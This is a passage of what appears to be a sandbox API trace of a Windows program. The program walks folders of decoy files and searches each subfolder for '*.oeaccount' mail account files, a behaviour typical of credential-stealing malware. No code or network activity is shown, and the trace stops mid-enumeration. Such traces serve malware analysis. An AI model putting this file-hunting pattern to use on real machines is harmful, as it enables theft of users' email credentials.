[0085.370] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.370] strlen (_Str="") returned 0x0
[0085.370] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.370] strcmp (_Str1=".", _Str2="..") returned -1
[0085.370] strcmp (_Str1=".", _Str2=".") returned 0
[0085.370] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.370] strlen (_Str="") returned 0x0
[0085.370] strlen (_Str="..") returned 0x2
[0085.370] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.370] strlen (_Str="") returned 0x0
[0085.370] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.370] strcmp (_Str1="..", _Str2="..") returned 0
[0085.370] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.370] strlen (_Str="") returned 0x0
[0085.370] strlen (_Str="12mW6YtVWOd4.docx") returned 0x11
[0085.370] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.370] strlen (_Str="") returned 0x0
[0085.370] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.370] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.370] strlen (_Str="") returned 0x0
[0085.370] strlen (_Str="3JBbRdK5kxYke.jpg") returned 0x11
[0085.370] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] strlen (_Str="") returned 0x0
[0085.371] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.371] strlen (_Str="") returned 0x0
[0085.371] strlen (_Str="3NEJQPyX E.rtf") returned 0xe
[0085.371] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] strlen (_Str="") returned 0x0
[0085.371] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.371] strlen (_Str="") returned 0x0
[0085.371] strlen (_Str="4 u_4u6LS4.ods") returned 0xe
[0085.371] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] strlen (_Str="") returned 0x0
[0085.371] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.371] strlen (_Str="") returned 0x0
[0085.371] strlen (_Str="49343.doc") returned 0x9
[0085.371] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] strlen (_Str="") returned 0x0
[0085.371] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.371] strlen (_Str="") returned 0x0
[0085.371] strlen (_Str="8cb1QU.gif") returned 0xa
[0085.371] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] strlen (_Str="") returned 0x0
[0085.371] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.371] strlen (_Str="") returned 0x0
[0085.371] strlen (_Str="desktop.ini") returned 0xb
[0085.371] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] strlen (_Str="") returned 0x0
[0085.371] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.371] strlen (_Str="") returned 0x0
[0085.371] strlen (_Str="E79-i.png") returned 0x9
[0085.371] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] strlen (_Str="") returned 0x0
[0085.371] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.371] strlen (_Str="") returned 0x0
[0085.371] strlen (_Str="encWJ2") returned 0x6
[0085.371] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] strlen (_Str="") returned 0x0
[0085.371] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.371] strcmp (_Str1="encWJ2", _Str2="..") returned 1
[0085.371] strcmp (_Str1="encWJ2", _Str2=".") returned 1
[0085.372] strlen (_Str="encWJ2") returned 0x6
[0085.372] strlen (_Str="encWJ2") returned 0x6
[0085.372] strlen (_Str="*.oeaccount") returned 0xb
[0085.372] _mbscpy (in: param_1=0x12e32c, param_2=0x12e6f4 | out: param_1=0x12e32c) returned 0x12e32c
[0085.372] strlen (_Str="encWJ2") returned 0x6
[0085.372] _mbscat (in: param_1=0x12e32c, param_2=0x414078 | out: param_1=0x12e32c) returned 0x12e32c
[0085.372] _mbscat (in: param_1=0x12e32c, param_2=0x4154e8 | out: param_1=0x12e32c) returned 0x12e32c
[0085.372] FindFirstFileA (in: lpFileName="encWJ2\\*.oeaccount", lpFindFileData=0x12e470 | out: lpFindFileData=0x12e470) returned 0xffffffff
[0085.372] strlen (_Str="encWJ2") returned 0x6
[0085.372] strlen (_Str="encWJ2") returned 0x6
[0085.372] strlen (_Str="*.*") returned 0x3
[0085.372] _mbscpy (in: param_1=0x12e83c, param_2=0x12ec04 | out: param_1=0x12e83c) returned 0x12e83c
[0085.372] strlen (_Str="encWJ2") returned 0x6
[0085.372] _mbscat (in: param_1=0x12e83c, param_2=0x414078 | out: param_1=0x12e83c) returned 0x12e83c
[0085.372] _mbscat (in: param_1=0x12e83c, param_2=0x4147c4 | out: param_1=0x12e83c) returned 0x12e83c
[0085.372] FindFirstFileA (in: lpFileName="encWJ2\\*.*", lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 0x267e08
[0085.372] strlen (_Str="encWJ2") returned 0x6
[0085.372] strlen (_Str=".") returned 0x1
[0085.372] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.372] strlen (_Str="encWJ2") returned 0x6
[0085.372] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.372] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.372] strcmp (_Str1=".", _Str2="..") returned -1
[0085.372] strcmp (_Str1=".", _Str2=".") returned 0
[0085.372] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.372] strlen (_Str="encWJ2") returned 0x6
[0085.372] strlen (_Str="..") returned 0x2
[0085.372] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.372] strlen (_Str="encWJ2") returned 0x6
[0085.372] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.372] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.373] strcmp (_Str1="..", _Str2="..") returned 0
[0085.373] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.373] strlen (_Str="encWJ2") returned 0x6
[0085.373] strlen (_Str="11pBJiP8TlGz5bpIF.avi") returned 0x15
[0085.373] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.373] strlen (_Str="encWJ2") returned 0x6
[0085.373] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.373] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.373] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.373] strlen (_Str="encWJ2") returned 0x6
[0085.373] strlen (_Str="Ic6uJrN0uNA.m4a") returned 0xf
[0085.373] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.373] strlen (_Str="encWJ2") returned 0x6
[0085.373] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.373] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.373] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.373] strlen (_Str="encWJ2") returned 0x6
[0085.373] strlen (_Str="QTvVz.ots") returned 0x9
[0085.373] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.373] strlen (_Str="encWJ2") returned 0x6
[0085.373] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.373] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.373] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 0
[0085.373] FindClose (in: hFindFile=0x267e08 | out: hFindFile=0x267e08) returned 1
[0085.373] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.373] strlen (_Str="") returned 0x0
[0085.373] strlen (_Str="FVs0Q21SYTS.mp4") returned 0xf
[0085.373] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.373] strlen (_Str="") returned 0x0
[0085.373] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.373] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.373] strlen (_Str="") returned 0x0
[0085.373] strlen (_Str="Gu-F.gif") returned 0x8
[0085.373] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.373] strlen (_Str="") returned 0x0
[0085.373] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.373] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.373] strlen (_Str="") returned 0x0
[0085.373] strlen (_Str="H2cb7jaJW.flv") returned 0xd
[0085.373] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.373] strlen (_Str="") returned 0x0
[0085.373] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.373] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.374] strlen (_Str="") returned 0x0
[0085.374] strlen (_Str="HxH0_R9p9dTUO 26prw.avi") returned 0x17
[0085.374] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.374] strlen (_Str="") returned 0x0
[0085.374] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.374] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.374] strlen (_Str="") returned 0x0
[0085.374] strlen (_Str="I6q4ouXY.swf") returned 0xc
[0085.374] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.374] strlen (_Str="") returned 0x0
[0085.374] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.374] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.374] strlen (_Str="") returned 0x0
[0085.374] strlen (_Str="idfI2XL0pEFgb_YV_M.avi") returned 0x16
[0085.374] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.374] strlen (_Str="") returned 0x0
[0085.374] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.374] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.374] strlen (_Str="") returned 0x0
[0085.374] strlen (_Str="Ihug") returned 0x4
[0085.374] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.374] strlen (_Str="") returned 0x0
[0085.374] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.374] strcmp (_Str1="Ihug", _Str2="..") returned 1
[0085.374] strcmp (_Str1="Ihug", _Str2=".") returned 1
[0085.374] strlen (_Str="Ihug") returned 0x4
[0085.374] strlen (_Str="Ihug") returned 0x4
[0085.374] strlen (_Str="*.oeaccount") returned 0xb
[0085.374] _mbscpy (in: param_1=0x12e32c, param_2=0x12e6f4 | out: param_1=0x12e32c) returned 0x12e32c
[0085.374] strlen (_Str="Ihug") returned 0x4
[0085.374] _mbscat (in: param_1=0x12e32c, param_2=0x414078 | out: param_1=0x12e32c) returned 0x12e32c
[0085.374] _mbscat (in: param_1=0x12e32c, param_2=0x4154e8 | out: param_1=0x12e32c) returned 0x12e32c
[0085.374] FindFirstFileA (in: lpFileName="Ihug\\*.oeaccount", lpFindFileData=0x12e470 | out: lpFindFileData=0x12e470) returned 0xffffffff
[0085.374] strlen (_Str="Ihug") returned 0x4
[0085.374] strlen (_Str="Ihug") returned 0x4
[0085.374] strlen (_Str="*.*") returned 0x3
[0085.374] _mbscpy (in: param_1=0x12e83c, param_2=0x12ec04 | out: param_1=0x12e83c) returned 0x12e83c
[0085.375] strlen (_Str="Ihug") returned 0x4
[0085.375] _mbscat (in: param_1=0x12e83c, param_2=0x414078 | out: param_1=0x12e83c) returned 0x12e83c
[0085.375] _mbscat (in: param_1=0x12e83c, param_2=0x4147c4 | out: param_1=0x12e83c) returned 0x12e83c
[0085.375] FindFirstFileA (in: lpFileName="Ihug\\*.*", lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 0x267e08
[0085.375] strlen (_Str="Ihug") returned 0x4
[0085.375] strlen (_Str=".") returned 0x1
[0085.375] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.375] strlen (_Str="Ihug") returned 0x4
[0085.375] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.375] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.375] strcmp (_Str1=".", _Str2="..") returned -1
[0085.375] strcmp (_Str1=".", _Str2=".") returned 0
[0085.375] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.375] strlen (_Str="Ihug") returned 0x4
[0085.375] strlen (_Str="..") returned 0x2
[0085.375] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.375] strlen (_Str="Ihug") returned 0x4
[0085.375] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.375] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.375] strcmp (_Str1="..", _Str2="..") returned 0
[0085.375] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.375] strlen (_Str="Ihug") returned 0x4
[0085.375] strlen (_Str="5vGRNxxmT0.jpg") returned 0xe
[0085.375] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.375] strlen (_Str="Ihug") returned 0x4
[0085.375] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.375] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.375] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.375] strlen (_Str="Ihug") returned 0x4
[0085.375] strlen (_Str="t1QoeTZ4EKZwcx.pps") returned 0x12
[0085.375] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.375] strlen (_Str="Ihug") returned 0x4
[0085.375] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.375] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.375] FindNextFileA (in: hFindFile=0x267e08, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 0
[0085.375] FindClose (in: hFindFile=0x267e08 | out: hFindFile=0x267e08) returned 1
[0085.375] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.375] strlen (_Str="") returned 0x0
[0085.376] strlen (_Str="JGmR-VmnAwz49FFz.avi") returned 0x14
[0085.376] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.376] strlen (_Str="") returned 0x0
[0085.376] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.376] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.376] strlen (_Str="") returned 0x0
[0085.376] strlen (_Str="KxNVh5qb V.xlsx") returned 0xf
[0085.376] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.376] strlen (_Str="") returned 0x0
[0085.376] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.376] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.376] strlen (_Str="") returned 0x0
[0085.376] strlen (_Str="LLiFbDO3RBrJU1.mp3") returned 0x12
[0085.376] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.376] strlen (_Str="") returned 0x0
[0085.376] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.376] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.376] strlen (_Str="") returned 0x0
[0085.376] strlen (_Str="MC4u.mp3") returned 0x8
[0085.376] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.376] strlen (_Str="") returned 0x0
[0085.376] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.376] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.376] strlen (_Str="") returned 0x0
[0085.376] strlen (_Str="MjVfl-.m4a") returned 0xa
[0085.376] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.376] strlen (_Str="") returned 0x0
[0085.376] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.376] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.376] strlen (_Str="") returned 0x0
[0085.376] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.376] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.376] strlen (_Str="") returned 0x0
[0085.376] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.376] strcmp (_Str1="N85Nf82ijUqriWIbUbVC", _Str2="..") returned 1
[0085.376] strcmp (_Str1="N85Nf82ijUqriWIbUbVC", _Str2=".") returned 1
[0085.376] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.376] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.376] strlen (_Str="*.oeaccount") returned 0xb
[0085.376] _mbscpy (in: param_1=0x12e32c, param_2=0x12e6f4 | out: param_1=0x12e32c) returned 0x12e32c
[0085.376] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.376] _mbscat (in: param_1=0x12e32c, param_2=0x414078 | out: param_1=0x12e32c) returned 0x12e32c
[0085.377] _mbscat (in: param_1=0x12e32c, param_2=0x4154e8 | out: param_1=0x12e32c) returned 0x12e32c
[0085.377] FindFirstFileA (in: lpFileName="N85Nf82ijUqriWIbUbVC\\*.oeaccount", lpFindFileData=0x12e470 | out: lpFindFileData=0x12e470) returned 0xffffffff
[0085.377] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.377] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.377] strlen (_Str="*.*") returned 0x3
[0085.377] _mbscpy (in: param_1=0x12e83c, param_2=0x12ec04 | out: param_1=0x12e83c) returned 0x12e83c
[0085.377] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.377] _mbscat (in: param_1=0x12e83c, param_2=0x414078 | out: param_1=0x12e83c) returned 0x12e83c
[0085.377] _mbscat (in: param_1=0x12e83c, param_2=0x4147c4 | out: param_1=0x12e83c) returned 0x12e83c
[0085.377] FindFirstFileA (in: lpFileName="N85Nf82ijUqriWIbUbVC\\*.*", lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 0x26de98
[0085.377] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.377] strlen (_Str=".") returned 0x1
[0085.377] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.377] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.377] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.377] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.377] strcmp (_Str1=".", _Str2="..") returned -1
[0085.377] strcmp (_Str1=".", _Str2=".") returned 0
[0085.377] FindNextFileA (in: hFindFile=0x26de98, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.377] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.377] strlen (_Str="..") returned 0x2
[0085.377] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.377] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.377] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.377] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.377] strcmp (_Str1="..", _Str2="..") returned 0
[0085.377] FindNextFileA (in: hFindFile=0x26de98, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.377] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.377] strlen (_Str="ALjLLuEY.wav") returned 0xc
[0085.377] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.377] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.378] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.378] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.378] FindNextFileA (in: hFindFile=0x26de98, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.378] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.378] strlen (_Str="DxOeo.jpg") returned 0x9
[0085.378] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.378] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.378] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.378] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.378] FindNextFileA (in: hFindFile=0x26de98, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.378] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.378] strlen (_Str="gfs_u1.bmp") returned 0xa
[0085.378] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.378] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.378] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.378] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.378] FindNextFileA (in: hFindFile=0x26de98, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 1
[0085.378] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.378] strlen (_Str="Rzs76h4Xro6G-cUkAp.m4a") returned 0x16
[0085.378] _mbscpy (in: param_1=0x12eac0, param_2=0x12ec04 | out: param_1=0x12eac0) returned 0x12eac0
[0085.378] strlen (_Str="N85Nf82ijUqriWIbUbVC") returned 0x14
[0085.378] _mbscat (in: param_1=0x12eac0, param_2=0x414078 | out: param_1=0x12eac0) returned 0x12eac0
[0085.378] _mbscat (in: param_1=0x12eac0, param_2=0x12e9ac | out: param_1=0x12eac0) returned 0x12eac0
[0085.378] FindNextFileA (in: hFindFile=0x26de98, lpFindFileData=0x12e980 | out: lpFindFileData=0x12e980) returned 0
[0085.378] FindClose (in: hFindFile=0x26de98 | out: hFindFile=0x26de98) returned 1
[0085.378] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.378] strlen (_Str="") returned 0x0
[0085.378] strlen (_Str="numNzHOF36r.png") returned 0xf
[0085.378] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.378] strlen (_Str="") returned 0x0
[0085.378] _mbscat (in: param_1=0x12f4f8, param_2=0x12f3e4 | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.378] FindNextFileA (in: hFindFile=0x265da0, lpFindFileData=0x12f3b8 | out: lpFindFileData=0x12f3b8) returned 1
[0085.378] strlen (_Str="") returned 0x0
[0085.378] strlen (_Str="Olxk.ots") returned 0x8
[0085.378] _mbscpy (in: param_1=0x12f4f8, param_2=0x12f63c | out: param_1=0x12f4f8) returned 0x12f4f8
[0085.378] strlen (_Str="") returned 0x0
